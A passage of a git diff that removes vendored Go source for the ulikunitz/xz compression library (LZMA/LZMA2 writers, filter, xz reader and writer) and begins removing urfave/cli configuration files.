c.Properties.verify(); err != nil { - return err - } - if !(MinDictCap <= c.DictCap && int64(c.DictCap) <= MaxDictCap) { - return errors.New("lzma: dictionary capacity is out of range") - } - if !(maxMatchLen <= c.BufSize) { - return errors.New("lzma: lookahead buffer size too small") - } - if c.SizeInHeader { - if c.Size < 0 { - return errors.New("lzma: negative size not supported") - } - } else if !c.EOSMarker { - return errors.New("lzma: EOS marker is required") - } - if err = c.Matcher.verify(); err != nil { - return err - } - - return nil -} - -// header returns the header structure for this configuration. -func (c *WriterConfig) header() header { - h := header{ - properties: *c.Properties, - dictCap: c.DictCap, - size: -1, - } - if c.SizeInHeader { - h.size = c.Size - } - return h -} - -// Writer writes an LZMA stream in the classic format. -type Writer struct { - h header - bw io.ByteWriter - buf *bufio.Writer - e *encoder -} - -// NewWriter creates a new LZMA writer for the classic format. The -// method will write the header to the underlying stream. -func (c WriterConfig) NewWriter(lzma io.Writer) (w *Writer, err error) { - if err = c.Verify(); err != nil { - return nil, err - } - w = &Writer{h: c.header()} - - var ok bool - w.bw, ok = lzma.(io.ByteWriter) - if !ok { - w.buf = bufio.NewWriter(lzma) - w.bw = w.buf - } - state := newState(w.h.properties) - m, err := c.Matcher.new(w.h.dictCap) - if err != nil { - return nil, err - } - dict, err := newEncoderDict(w.h.dictCap, c.BufSize, m) - if err != nil { - return nil, err - } - var flags encoderFlags - if c.EOSMarker { - flags = eosMarker - } - if w.e, err = newEncoder(w.bw, state, dict, flags); err != nil { - return nil, err - } - - if err = w.writeHeader(); err != nil { - return nil, err - } - return w, nil -} - -// NewWriter creates a new LZMA writer using the classic format. The -// function writes the header to the underlying stream. -func NewWriter(lzma io.Writer) (w *Writer, err error) { - return WriterConfig{}.NewWriter(lzma) -} - -// writeHeader writes the LZMA header into the stream. -func (w *Writer) writeHeader() error { - data, err := w.h.marshalBinary() - if err != nil { - return err - } - _, err = w.bw.(io.Writer).Write(data) - return err -} - -// Write puts data into the Writer. -func (w *Writer) Write(p []byte) (n int, err error) { - if w.h.size >= 0 { - m := w.h.size - m -= w.e.Compressed() + int64(w.e.dict.Buffered()) - if m < 0 { - m = 0 - } - if m < int64(len(p)) { - p = p[:m] - err = ErrNoSpace - } - } - var werr error - if n, werr = w.e.Write(p); werr != nil { - err = werr - } - return n, err -} - -// Close closes the writer stream. It ensures that all data from the -// buffer will be compressed and the LZMA stream will be finished. -func (w *Writer) Close() error { - if w.h.size >= 0 { - n := w.e.Compressed() + int64(w.e.dict.Buffered()) - if n != w.h.size { - return errSize - } - } - err := w.e.Close() - if w.buf != nil { - ferr := w.buf.Flush() - if err == nil { - err = ferr - } - } - return err -} diff --git a/vendor/github.com/ulikunitz/xz/lzma/writer2.go b/vendor/github.com/ulikunitz/xz/lzma/writer2.go deleted file mode 100644 index 7c1afe1572..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzma/writer2.go +++ /dev/null @@ -1,305 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package lzma - -import ( - "bytes" - "errors" - "io" -) - -// Writer2Config is used to create a Writer2 using parameters. -type Writer2Config struct { - // The properties for the encoding. If the it is nil the value - // {LC: 3, LP: 0, PB: 2} will be chosen. - Properties *Properties - // The capacity of the dictionary. If DictCap is zero, the value - // 8 MiB will be chosen. - DictCap int - // Size of the lookahead buffer; value 0 indicates default size - // 4096 - BufSize int - // Match algorithm - Matcher MatchAlgorithm -} - -// fill replaces zero values with default values. -func (c *Writer2Config) fill() { - if c.Properties == nil { - c.Properties = &Properties{LC: 3, LP: 0, PB: 2} - } - if c.DictCap == 0 { - c.DictCap = 8 * 1024 * 1024 - } - if c.BufSize == 0 { - c.BufSize = 4096 - } -} - -// Verify checks the Writer2Config for correctness. Zero values will be -// replaced by default values. -func (c *Writer2Config) Verify() error { - c.fill() - var err error - if c == nil { - return errors.New("lzma: WriterConfig is nil") - } - if c.Properties == nil { - return errors.New("lzma: WriterConfig has no Properties set") - } - if err = c.Properties.verify(); err != nil { - return err - } - if !(MinDictCap <= c.DictCap && int64(c.DictCap) <= MaxDictCap) { - return errors.New("lzma: dictionary capacity is out of range") - } - if !(maxMatchLen <= c.BufSize) { - return errors.New("lzma: lookahead buffer size too small") - } - if c.Properties.LC+c.Properties.LP > 4 { - return errors.New("lzma: sum of lc and lp exceeds 4") - } - if err = c.Matcher.verify(); err != nil { - return err - } - return nil -} - -// Writer2 supports the creation of an LZMA2 stream. But note that -// written data is buffered, so call Flush or Close to write data to the -// underlying writer. The Close method writes the end-of-stream marker -// to the stream. So you may be able to concatenate the output of two -// writers as long the output of the first writer has only been flushed -// but not closed. -// -// Any change to the fields Properties, DictCap must be done before the -// first call to Write, Flush or Close. -type Writer2 struct { - w io.Writer - - start *state - encoder *encoder - - cstate chunkState - ctype chunkType - - buf bytes.Buffer - lbw LimitedByteWriter -} - -// NewWriter2 creates an LZMA2 chunk sequence writer with the default -// parameters and options. -func NewWriter2(lzma2 io.Writer) (w *Writer2, err error) { - return Writer2Config{}.NewWriter2(lzma2) -} - -// NewWriter2 creates a new LZMA2 writer using the given configuration. -func (c Writer2Config) NewWriter2(lzma2 io.Writer) (w *Writer2, err error) { - if err = c.Verify(); err != nil { - return nil, err - } - w = &Writer2{ - w: lzma2, - start: newState(*c.Properties), - cstate: start, - ctype: start.defaultChunkType(), - } - w.buf.Grow(maxCompressed) - w.lbw = LimitedByteWriter{BW: &w.buf, N: maxCompressed} - m, err := c.Matcher.new(c.DictCap) - if err != nil { - return nil, err - } - d, err := newEncoderDict(c.DictCap, c.BufSize, m) - if err != nil { - return nil, err - } - w.encoder, err = newEncoder(&w.lbw, cloneState(w.start), d, 0) - if err != nil { - return nil, err - } - return w, nil -} - -// written returns the number of bytes written to the current chunk -func (w *Writer2) written() int { - if w.encoder == nil { - return 0 - } - return int(w.encoder.Compressed()) + w.encoder.dict.Buffered() -} - -// errClosed indicates that the writer is closed. -var errClosed = errors.New("lzma: writer closed") - -// Writes data to LZMA2 stream. Note that written data will be buffered. -// Use Flush or Close to ensure that data is written to the underlying -// writer. -func (w *Writer2) Write(p []byte) (n int, err error) { - if w.cstate == stop { - return 0, errClosed - } - for n < len(p) { - m := maxUncompressed - w.written() - if m <= 0 { - panic("lzma: maxUncompressed reached") - } - var q []byte - if n+m < len(p) { - q = p[n : n+m] - } else { - q = p[n:] - } - k, err := w.encoder.Write(q) - n += k - if err != nil && err != ErrLimit { - return n, err - } - if err == ErrLimit || k == m { - if err = w.flushChunk(); err != nil { - return n, err - } - } - } - return n, nil -} - -// writeUncompressedChunk writes an uncompressed chunk to the LZMA2 -// stream. -func (w *Writer2) writeUncompressedChunk() error { - u := w.encoder.Compressed() - if u <= 0 { - return errors.New("lzma: can't write empty uncompressed chunk") - } - if u > maxUncompressed { - panic("overrun of uncompressed data limit") - } - switch w.ctype { - case cLRND: - w.ctype = cUD - default: - w.ctype = cU - } - w.encoder.state = w.start - - header := chunkHeader{ - ctype: w.ctype, - uncompressed: uint32(u - 1), - } - hdata, err := header.MarshalBinary() - if err != nil { - return err - } - if _, err = w.w.Write(hdata); err != nil { - return err - } - _, err = w.encoder.dict.CopyN(w.w, int(u)) - return err -} - -// writeCompressedChunk writes a compressed chunk to the underlying -// writer. -func (w *Writer2) writeCompressedChunk() error { - if w.ctype == cU || w.ctype == cUD { - panic("chunk type uncompressed") - } - - u := w.encoder.Compressed() - if u <= 0 { - return errors.New("writeCompressedChunk: empty chunk") - } - if u > maxUncompressed { - panic("overrun of uncompressed data limit") - } - c := w.buf.Len() - if c <= 0 { - panic("no compressed data") - } - if c > maxCompressed { - panic("overrun of compressed data limit") - } - header := chunkHeader{ - ctype: w.ctype, - uncompressed: uint32(u - 1), - compressed: uint16(c - 1), - props: w.encoder.state.Properties, - } - hdata, err := header.MarshalBinary() - if err != nil { - return err - } - if _, err = w.w.Write(hdata); err != nil { - return err - } - _, err = io.Copy(w.w, &w.buf) - return err -} - -// writes a single chunk to the underlying writer. -func (w *Writer2) writeChunk() error { - u := int(uncompressedHeaderLen + w.encoder.Compressed()) - c := headerLen(w.ctype) + w.buf.Len() - if u < c { - return w.writeUncompressedChunk() - } - return w.writeCompressedChunk() -} - -// flushChunk terminates the current chunk. The encoder will be reset -// to support the next chunk. -func (w *Writer2) flushChunk() error { - if w.written() == 0 { - return nil - } - var err error - if err = w.encoder.Close(); err != nil { - return err - } - if err = w.writeChunk(); err != nil { - return err - } - w.buf.Reset() - w.lbw.N = maxCompressed - if err = w.encoder.Reopen(&w.lbw); err != nil { - return err - } - if err = w.cstate.next(w.ctype); err != nil { - return err - } - w.ctype = w.cstate.defaultChunkType() - w.start = cloneState(w.encoder.state) - return nil -} - -// Flush writes all buffered data out to the underlying stream. This -// could result in multiple chunks to be created. -func (w *Writer2) Flush() error { - if w.cstate == stop { - return errClosed - } - for w.written() > 0 { - if err := w.flushChunk(); err != nil { - return err - } - } - return nil -} - -// Close terminates the LZMA2 stream with an EOS chunk. -func (w *Writer2) Close() error { - if w.cstate == stop { - return errClosed - } - if err := w.Flush(); err != nil { - return nil - } - // write zero byte EOS chunk - _, err := w.w.Write([]byte{0}) - if err != nil { - return err - } - w.cstate = stop - return nil -} diff --git a/vendor/github.com/ulikunitz/xz/lzmafilter.go b/vendor/github.com/ulikunitz/xz/lzmafilter.go deleted file mode 100644 index 69cf5f7c27..0000000000 --- a/vendor/github.com/ulikunitz/xz/lzmafilter.go +++ /dev/null @@ -1,117 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package xz - -import ( - "errors" - "fmt" - "io" - - "github.com/ulikunitz/xz/lzma" -) - -// LZMA filter constants. -const ( - lzmaFilterID = 0x21 - lzmaFilterLen = 3 -) - -// lzmaFilter declares the LZMA2 filter information stored in an xz -// block header. -type lzmaFilter struct { - dictCap int64 -} - -// String returns a representation of the LZMA filter. -func (f lzmaFilter) String() string { - return fmt.Sprintf("LZMA dict cap %#x", f.dictCap) -} - -// id returns the ID for the LZMA2 filter. -func (f lzmaFilter) id() uint64 { return lzmaFilterID } - -// MarshalBinary converts the lzmaFilter in its encoded representation. -func (f lzmaFilter) MarshalBinary() (data []byte, err error) { - c := lzma.EncodeDictCap(f.dictCap) - return []byte{lzmaFilterID, 1, c}, nil -} - -// UnmarshalBinary unmarshals the given data representation of the LZMA2 -// filter. -func (f *lzmaFilter) UnmarshalBinary(data []byte) error { - if len(data) != lzmaFilterLen { - return errors.New("xz: data for LZMA2 filter has wrong length") - } - if data[0] != lzmaFilterID { - return errors.New("xz: wrong LZMA2 filter id") - } - if data[1] != 1 { - return errors.New("xz: wrong LZMA2 filter size") - } - dc, err := lzma.DecodeDictCap(data[2]) - if err != nil { - return errors.New("xz: wrong LZMA2 dictionary size property") - } - - f.dictCap = dc - return nil -} - -// reader creates a new reader for the LZMA2 filter. -func (f lzmaFilter) reader(r io.Reader, c *ReaderConfig) (fr io.Reader, - err error) { - - config := new(lzma.Reader2Config) - if c != nil { - config.DictCap = c.DictCap - } - dc := int(f.dictCap) - if dc < 1 { - return nil, errors.New("xz: LZMA2 filter parameter " + - "dictionary capacity overflow") - } - if dc > config.DictCap { - config.DictCap = dc - } - - fr, err = config.NewReader2(r) - if err != nil { - return nil, err - } - return fr, nil -} - -// writeCloser creates a io.WriteCloser for the LZMA2 filter. -func (f lzmaFilter) writeCloser(w io.WriteCloser, c *WriterConfig, -) (fw io.WriteCloser, err error) { - config := new(lzma.Writer2Config) - if c != nil { - *config = lzma.Writer2Config{ - Properties: c.Properties, - DictCap: c.DictCap, - BufSize: c.BufSize, - Matcher: c.Matcher, - } - } - - dc := int(f.dictCap) - if dc < 1 { - return nil, errors.New("xz: LZMA2 filter parameter " + - "dictionary capacity overflow") - } - if dc > config.DictCap { - config.DictCap = dc - } - - fw, err = config.NewWriter2(w) - if err != nil { - return nil, err - } - return fw, nil -} - -// last returns true, because an LZMA2 filter must be the last filter in -// the filter list. -func (f lzmaFilter) last() bool { return true } diff --git a/vendor/github.com/ulikunitz/xz/make-docs b/vendor/github.com/ulikunitz/xz/make-docs deleted file mode 100644 index a8c612ce17..0000000000 --- a/vendor/github.com/ulikunitz/xz/make-docs +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/sh - -set -x -pandoc -t html5 -f markdown -s --css=doc/md.css -o README.html README.md -pandoc -t html5 -f markdown -s --css=doc/md.css -o TODO.html TODO.md diff --git a/vendor/github.com/ulikunitz/xz/reader.go b/vendor/github.com/ulikunitz/xz/reader.go deleted file mode 100644 index 0634c6bcc0..0000000000 --- a/vendor/github.com/ulikunitz/xz/reader.go +++ /dev/null @@ -1,373 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package xz supports the compression and decompression of xz files. It -// supports version 1.0.4 of the specification without the non-LZMA2 -// filters. See http://tukaani.org/xz/xz-file-format-1.0.4.txt -package xz - -import ( - "bytes" - "errors" - "fmt" - "hash" - "io" - - "github.com/ulikunitz/xz/internal/xlog" - "github.com/ulikunitz/xz/lzma" -) - -// ReaderConfig defines the parameters for the xz reader. The -// SingleStream parameter requests the reader to assume that the -// underlying stream contains only a single stream. -type ReaderConfig struct { - DictCap int - SingleStream bool -} - -// fill replaces all zero values with their default values. -func (c *ReaderConfig) fill() { - if c.DictCap == 0 { - c.DictCap = 8 * 1024 * 1024 - } -} - -// Verify checks the reader parameters for Validity. Zero values will be -// replaced by default values. -func (c *ReaderConfig) Verify() error { - if c == nil { - return errors.New("xz: reader parameters are nil") - } - lc := lzma.Reader2Config{DictCap: c.DictCap} - if err := lc.Verify(); err != nil { - return err - } - return nil -} - -// Reader supports the reading of one or multiple xz streams. -type Reader struct { - ReaderConfig - - xz io.Reader - sr *streamReader -} - -// streamReader decodes a single xz stream -type streamReader struct { - ReaderConfig - - xz io.Reader - br *blockReader - newHash func() hash.Hash - h header - index []record -} - -// NewReader creates a new xz reader using the default parameters. -// The function reads and checks the header of the first XZ stream. The -// reader will process multiple streams including padding. -func NewReader(xz io.Reader) (r *Reader, err error) { - return ReaderConfig{}.NewReader(xz) -} - -// NewReader creates an xz stream reader. The created reader will be -// able to process multiple streams and padding unless a SingleStream -// has been set in the reader configuration c. -func (c ReaderConfig) NewReader(xz io.Reader) (r *Reader, err error) { - if err = c.Verify(); err != nil { - return nil, err - } - r = &Reader{ - ReaderConfig: c, - xz: xz, - } - if r.sr, err = c.newStreamReader(xz); err != nil { - if err == io.EOF { - err = io.ErrUnexpectedEOF - } - return nil, err - } - return r, nil -} - -var errUnexpectedData = errors.New("xz: unexpected data after stream") - -// Read reads uncompressed data from the stream. -func (r *Reader) Read(p []byte) (n int, err error) { - for n < len(p) { - if r.sr == nil { - if r.SingleStream { - data := make([]byte, 1) - _, err = io.ReadFull(r.xz, data) - if err != io.EOF { - return n, errUnexpectedData - } - return n, io.EOF - } - for { - r.sr, err = r.ReaderConfig.newStreamReader(r.xz) - if err != errPadding { - break - } - } - if err != nil { - return n, err - } - } - k, err := r.sr.Read(p[n:]) - n += k - if err != nil { - if err == io.EOF { - r.sr = nil - continue - } - return n, err - } - } - return n, nil -} - -var errPadding = errors.New("xz: padding (4 zero bytes) encountered") - -// newStreamReader creates a new xz stream reader using the given configuration -// parameters. NewReader reads and checks the header of the xz stream. -func (c ReaderConfig) newStreamReader(xz io.Reader) (r *streamReader, err error) { - if err = c.Verify(); err != nil { - return nil, err - } - data := make([]byte, HeaderLen) - if _, err := io.ReadFull(xz, data[:4]); err != nil { - return nil, err - } - if bytes.Equal(data[:4], []byte{0, 0, 0, 0}) { - return nil, errPadding - } - if _, err = io.ReadFull(xz, data[4:]); err != nil { - if err == io.EOF { - err = io.ErrUnexpectedEOF - } - return nil, err - } - r = &streamReader{ - ReaderConfig: c, - xz: xz, - index: make([]record, 0, 4), - } - if err = r.h.UnmarshalBinary(data); err != nil { - return nil, err - } - xlog.Debugf("xz header %s", r.h) - if r.newHash, err = newHashFunc(r.h.flags); err != nil { - return nil, err - } - return r, nil -} - -// errIndex indicates an error with the xz file index. -var errIndex = errors.New("xz: error in xz file index") - -// readTail reads the index body and the xz footer. -func (r *streamReader) readTail() error { - index, n, err := readIndexBody(r.xz) - if err != nil { - if err == io.EOF { - err = io.ErrUnexpectedEOF - } - return err - } - if len(index) != len(r.index) { - return fmt.Errorf("xz: index length is %d; want %d", - len(index), len(r.index)) - } - for i, rec := range r.index { - if rec != index[i] { - return fmt.Errorf("xz: record %d is %v; want %v", - i, rec, index[i]) - } - } - - p := make([]byte, footerLen) - if _, err = io.ReadFull(r.xz, p); err != nil { - if err == io.EOF { - err = io.ErrUnexpectedEOF - } - return err - } - var f footer - if err = f.UnmarshalBinary(p); err != nil { - return err - } - xlog.Debugf("xz footer %s", f) - if f.flags != r.h.flags { - return errors.New("xz: footer flags incorrect") - } - if f.indexSize != int64(n)+1 { - return errors.New("xz: index size in footer wrong") - } - return nil -} - -// Read reads actual data from the xz stream. -func (r *streamReader) Read(p []byte) (n int, err error) { - for n < len(p) { - if r.br == nil { - bh, hlen, err := readBlockHeader(r.xz) - if err != nil { - if err == errIndexIndicator { - if err = r.readTail(); err != nil { - return n, err - } - return n, io.EOF - } - return n, err - } - xlog.Debugf("block %v", *bh) - r.br, err = r.ReaderConfig.newBlockReader(r.xz, bh, - hlen, r.newHash()) - if err != nil { - return n, err - } - } - k, err := r.br.Read(p[n:]) - n += k - if err != nil { - if err == io.EOF { - r.index = append(r.index, r.br.record()) - r.br = nil - } else { - return n, err - } - } - } - return n, nil -} - -// countingReader is a reader that counts the bytes read. -type countingReader struct { - r io.Reader - n int64 -} - -// Read reads data from the wrapped reader and adds it to the n field. -func (lr *countingReader) Read(p []byte) (n int, err error) { - n, err = lr.r.Read(p) - lr.n += int64(n) - return n, err -} - -// blockReader supports the reading of a block. -type blockReader struct { - lxz countingReader - header *blockHeader - headerLen int - n int64 - hash hash.Hash - r io.Reader - err error -} - -// newBlockReader creates a new block reader. -func (c *ReaderConfig) newBlockReader(xz io.Reader, h *blockHeader, - hlen int, hash hash.Hash) (br *blockReader, err error) { - - br = &blockReader{ - lxz: countingReader{r: xz}, - header: h, - headerLen: hlen, - hash: hash, - } - - fr, err := c.newFilterReader(&br.lxz, h.filters) - if err != nil { - return nil, err - } - br.r = io.TeeReader(fr, br.hash) - - return br, nil -} - -// uncompressedSize returns the uncompressed size of the block. -func (br *blockReader) uncompressedSize() int64 { - return br.n -} - -// compressedSize returns the compressed size of the block. -func (br *blockReader) compressedSize() int64 { - return br.lxz.n -} - -// unpaddedSize computes the unpadded size for the block. -func (br *blockReader) unpaddedSize() int64 { - n := int64(br.headerLen) - n += br.compressedSize() - n += int64(br.hash.Size()) - return n -} - -// record returns the index record for the current block. -func (br *blockReader) record() record { - return record{br.unpaddedSize(), br.uncompressedSize()} -} - -// errBlockSize indicates that the size of the block in the block header -// is wrong. -var errBlockSize = errors.New("xz: wrong uncompressed size for block") - -// Read reads data from the block. -func (br *blockReader) Read(p []byte) (n int, err error) { - n, err = br.r.Read(p) - br.n += int64(n) - - u := br.header.uncompressedSize - if u >= 0 && br.uncompressedSize() > u { - return n, errors.New("xz: wrong uncompressed size for block") - } - c := br.header.compressedSize - if c >= 0 && br.compressedSize() > c { - return n, errors.New("xz: wrong compressed size for block") - } - if err != io.EOF { - return n, err - } - if br.uncompressedSize() < u || br.compressedSize() < c { - return n, io.ErrUnexpectedEOF - } - - s := br.hash.Size() - k := padLen(br.lxz.n) - q := make([]byte, k+s, k+2*s) - if _, err = io.ReadFull(br.lxz.r, q); err != nil { - if err == io.EOF { - err = io.ErrUnexpectedEOF - } - return n, err - } - if !allZeros(q[:k]) { - return n, errors.New("xz: non-zero block padding") - } - checkSum := q[k:] - computedSum := br.hash.Sum(checkSum[s:]) - if !bytes.Equal(checkSum, computedSum) { - return n, errors.New("xz: checksum error for block") - } - return n, io.EOF -} - -func (c *ReaderConfig) newFilterReader(r io.Reader, f []filter) (fr io.Reader, - err error) { - - if err = verifyFilters(f); err != nil { - return nil, err - } - - fr = r - for i := len(f) - 1; i >= 0; i-- { - fr, err = f[i].reader(fr, c) - if err != nil { - return nil, err - } - } - return fr, nil -} diff --git a/vendor/github.com/ulikunitz/xz/writer.go b/vendor/github.com/ulikunitz/xz/writer.go deleted file mode 100644 index c126f70995..0000000000 --- a/vendor/github.com/ulikunitz/xz/writer.go +++ /dev/null @@ -1,386 +0,0 @@ -// Copyright 2014-2017 Ulrich Kunitz. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package xz - -import ( - "errors" - "hash" - "io" - - "github.com/ulikunitz/xz/lzma" -) - -// WriterConfig describe the parameters for an xz writer. -type WriterConfig struct { - Properties *lzma.Properties - DictCap int - BufSize int - BlockSize int64 - // checksum method: CRC32, CRC64 or SHA256 - CheckSum byte - // match algorithm - Matcher lzma.MatchAlgorithm -} - -// fill replaces zero values with default values. -func (c *WriterConfig) fill() { - if c.Properties == nil { - c.Properties = &lzma.Properties{LC: 3, LP: 0, PB: 2} - } - if c.DictCap == 0 { - c.DictCap = 8 * 1024 * 1024 - } - if c.BufSize == 0 { - c.BufSize = 4096 - } - if c.BlockSize == 0 { - c.BlockSize = maxInt64 - } - if c.CheckSum == 0 { - c.CheckSum = CRC64 - } -} - -// Verify checks the configuration for errors. Zero values will be -// replaced by default values. -func (c *WriterConfig) Verify() error { - if c == nil { - return errors.New("xz: writer configuration is nil") - } - c.fill() - lc := lzma.Writer2Config{ - Properties: c.Properties, - DictCap: c.DictCap, - BufSize: c.BufSize, - Matcher: c.Matcher, - } - if err := lc.Verify(); err != nil { - return err - } - if c.BlockSize <= 0 { - return errors.New("xz: block size out of range") - } - if err := verifyFlags(c.CheckSum); err != nil { - return err - } - return nil -} - -// filters creates the filter list for the given parameters. -func (c *WriterConfig) filters() []filter { - return []filter{&lzmaFilter{int64(c.DictCap)}} -} - -// maxInt64 defines the maximum 64-bit signed integer. -const maxInt64 = 1<<63 - 1 - -// verifyFilters checks the filter list for the length and the right -// sequence of filters. -func verifyFilters(f []filter) error { - if len(f) == 0 { - return errors.New("xz: no filters") - } - if len(f) > 4 { - return errors.New("xz: more than four filters") - } - for _, g := range f[:len(f)-1] { - if g.last() { - return errors.New("xz: last filter is not last") - } - } - if !f[len(f)-1].last() { - return errors.New("xz: wrong last filter") - } - return nil -} - -// newFilterWriteCloser converts a filter list into a WriteCloser that -// can be used by a blockWriter. -func (c *WriterConfig) newFilterWriteCloser(w io.Writer, f []filter) (fw io.WriteCloser, err error) { - if err = verifyFilters(f); err != nil { - return nil, err - } - fw = nopWriteCloser(w) - for i := len(f) - 1; i >= 0; i-- { - fw, err = f[i].writeCloser(fw, c) - if err != nil { - return nil, err - } - } - return fw, nil -} - -// nopWCloser implements a WriteCloser with a Close method not doing -// anything. -type nopWCloser struct { - io.Writer -} - -// Close returns nil and doesn't do anything else. -func (c nopWCloser) Close() error { - return nil -} - -// nopWriteCloser converts the Writer into a WriteCloser with a Close -// function that does nothing beside returning nil. -func nopWriteCloser(w io.Writer) io.WriteCloser { - return nopWCloser{w} -} - -// Writer compresses data written to it. It is an io.WriteCloser. -type Writer struct { - WriterConfig - - xz io.Writer - bw *blockWriter - newHash func() hash.Hash - h header - index []record - closed bool -} - -// newBlockWriter creates a new block writer writes the header out. -func (w *Writer) newBlockWriter() error { - var err error - w.bw, err = w.WriterConfig.newBlockWriter(w.xz, w.newHash()) - if err != nil { - return err - } - if err = w.bw.writeHeader(w.xz); err != nil { - return err - } - return nil -} - -// closeBlockWriter closes a block writer and records the sizes in the -// index. -func (w *Writer) closeBlockWriter() error { - var err error - if err = w.bw.Close(); err != nil { - return err - } - w.index = append(w.index, w.bw.record()) - return nil -} - -// NewWriter creates a new xz writer using default parameters. -func NewWriter(xz io.Writer) (w *Writer, err error) { - return WriterConfig{}.NewWriter(xz) -} - -// NewWriter creates a new Writer using the given configuration parameters. -func (c WriterConfig) NewWriter(xz io.Writer) (w *Writer, err error) { - if err = c.Verify(); err != nil { - return nil, err - } - w = &Writer{ - WriterConfig: c, - xz: xz, - h: header{c.CheckSum}, - index: make([]record, 0, 4), - } - if w.newHash, err = newHashFunc(c.CheckSum); err != nil { - return nil, err - } - data, err := w.h.MarshalBinary() - if _, err = xz.Write(data); err != nil { - return nil, err - } - if err = w.newBlockWriter(); err != nil { - return nil, err - } - return w, nil - -} - -// Write compresses the uncompressed data provided. -func (w *Writer) Write(p []byte) (n int, err error) { - if w.closed { - return 0, errClosed - } - for { - k, err := w.bw.Write(p[n:]) - n += k - if err != errNoSpace { - return n, err - } - if err = w.closeBlockWriter(); err != nil { - return n, err - } - if err = w.newBlockWriter(); err != nil { - return n, err - } - } -} - -// Close closes the writer and adds the footer to the Writer. Close -// doesn't close the underlying writer. -func (w *Writer) Close() error { - if w.closed { - return errClosed - } - w.closed = true - var err error - if err = w.closeBlockWriter(); err != nil { - return err - } - - f := footer{flags: w.h.flags} - if f.indexSize, err = writeIndex(w.xz, w.index); err != nil { - return err - } - data, err := f.MarshalBinary() - if err != nil { - return err - } - if _, err = w.xz.Write(data); err != nil { - return err - } - return nil -} - -// countingWriter is a writer that counts all data written to it. -type countingWriter struct { - w io.Writer - n int64 -} - -// Write writes data to the countingWriter. -func (cw *countingWriter) Write(p []byte) (n int, err error) { - n, err = cw.w.Write(p) - cw.n += int64(n) - if err == nil && cw.n < 0 { - return n, errors.New("xz: counter overflow") - } - return -} - -// blockWriter is writes a single block. -type blockWriter struct { - cxz countingWriter - // mw combines io.WriteCloser w and the hash. - mw io.Writer - w io.WriteCloser - n int64 - blockSize int64 - closed bool - headerLen int - - filters []filter - hash hash.Hash -} - -// newBlockWriter creates a new block writer. -func (c *WriterConfig) newBlockWriter(xz io.Writer, hash hash.Hash) (bw *blockWriter, err error) { - bw = &blockWriter{ - cxz: countingWriter{w: xz}, - blockSize: c.BlockSize, - filters: c.filters(), - hash: hash, - } - bw.w, err = c.newFilterWriteCloser(&bw.cxz, bw.filters) - if err != nil { - return nil, err - } - bw.mw = io.MultiWriter(bw.w, bw.hash) - return bw, nil -} - -// writeHeader writes the header. If the function is called after Close -// the commpressedSize and uncompressedSize fields will be filled. -func (bw *blockWriter) writeHeader(w io.Writer) error { - h := blockHeader{ - compressedSize: -1, - uncompressedSize: -1, - filters: bw.filters, - } - if bw.closed { - h.compressedSize = bw.compressedSize() - h.uncompressedSize = bw.uncompressedSize() - } - data, err := h.MarshalBinary() - if err != nil { - return err - } - if _, err = w.Write(data); err != nil { - return err - } - bw.headerLen = len(data) - return nil -} - -// compressed size returns the amount of data written to the underlying -// stream. -func (bw *blockWriter) compressedSize() int64 { - return bw.cxz.n -} - -// uncompressedSize returns the number of data written to the -// blockWriter -func (bw *blockWriter) uncompressedSize() int64 { - return bw.n -} - -// unpaddedSize returns the sum of the header length, the uncompressed -// size of the block and the hash size. -func (bw *blockWriter) unpaddedSize() int64 { - if bw.headerLen <= 0 { - panic("xz: block header not written") - } - n := int64(bw.headerLen) - n += bw.compressedSize() - n += int64(bw.hash.Size()) - return n -} - -// record returns the record for the current stream. Call Close before -// calling this method. -func (bw *blockWriter) record() record { - return record{bw.unpaddedSize(), bw.uncompressedSize()} -} - -var errClosed = errors.New("xz: writer already closed") - -var errNoSpace = errors.New("xz: no space") - -// Write writes uncompressed data to the block writer. -func (bw *blockWriter) Write(p []byte) (n int, err error) { - if bw.closed { - return 0, errClosed - } - - t := bw.blockSize - bw.n - if int64(len(p)) > t { - err = errNoSpace - p = p[:t] - } - - var werr error - n, werr = bw.mw.Write(p) - bw.n += int64(n) - if werr != nil { - return n, werr - } - return n, err -} - -// Close closes the writer. -func (bw *blockWriter) Close() error { - if bw.closed { - return errClosed - } - bw.closed = true - if err := bw.w.Close(); err != nil { - return err - } - s := bw.hash.Size() - k := padLen(bw.cxz.n) - p := make([]byte, k+s) - bw.hash.Sum(p[k:k]) - if _, err := bw.cxz.w.Write(p); err != nil { - return err - } - return nil -} diff --git a/vendor/github.com/urfave/cli/.flake8 b/vendor/github.com/urfave/cli/.flake8 deleted file mode 100644 index 6deafc2617..0000000000 --- a/vendor/github.com/urfave/cli/.flake8 +++ /dev/null @@ -1,2 +0,0 @@ -[flake8] -max-line-length = 120 diff --git a/vendor/github.com/urfave/cli/.gitignore b/vendor/github.com/urfave/cli/.gitignore deleted file mode 100644 index faf70c4c24..0000000000 --- a/vendor/github.com/urfave/cli/.gitignore +++ /dev/null @@ -1,2 +0,0 @@ -*.coverprofile -node_modules/ diff --git a/vendor/github.com/urfave/cli/.travis.yml b/vendor/github.com/urfave/cli/.travis.yml deleted file mode 100644 index cf8d0980dc..0000000000 --- a/vendor/github.com/urfave/cli/.travis.yml +++ /dev/null @@ -1,27 +0,0 @@ -language: go -sudo: false -dist: trusty -osx_image: xcode8.3 -go: 1.8.x - -os: -- linux -- osx - -cache: - directories: - - node_modules - -before_script: -- go get github.com/urfave/gfmrun/... || true -- go get golang.org/x/tools/cmd/goimports -- if [ ! -f node_modules/.bin/markdown-toc ] ; then - npm install markdown-toc ; - fi - -script: -- ./runtests gen -- ./runtests vet -- ./runtests test -- ./runtests gfmrun -- ./runtests toc diff --git a/vendor/github.com/urfave/cli/CHANGELOG.md b/vendor/github.com/urfave/cli/CHANGELOG.md deleted file mode 100644 index 401eae5a2c..0000000000 --- a/vendor/github.com/urfave/cli/CHANGELOG.md +++ /dev/null @@ -1,435 +0,0 @@ -# Change Log - -**ATTN**: This project uses [semantic versioning](http://semver.org/). - -## [Unreleased] - -## 1.20.0 - 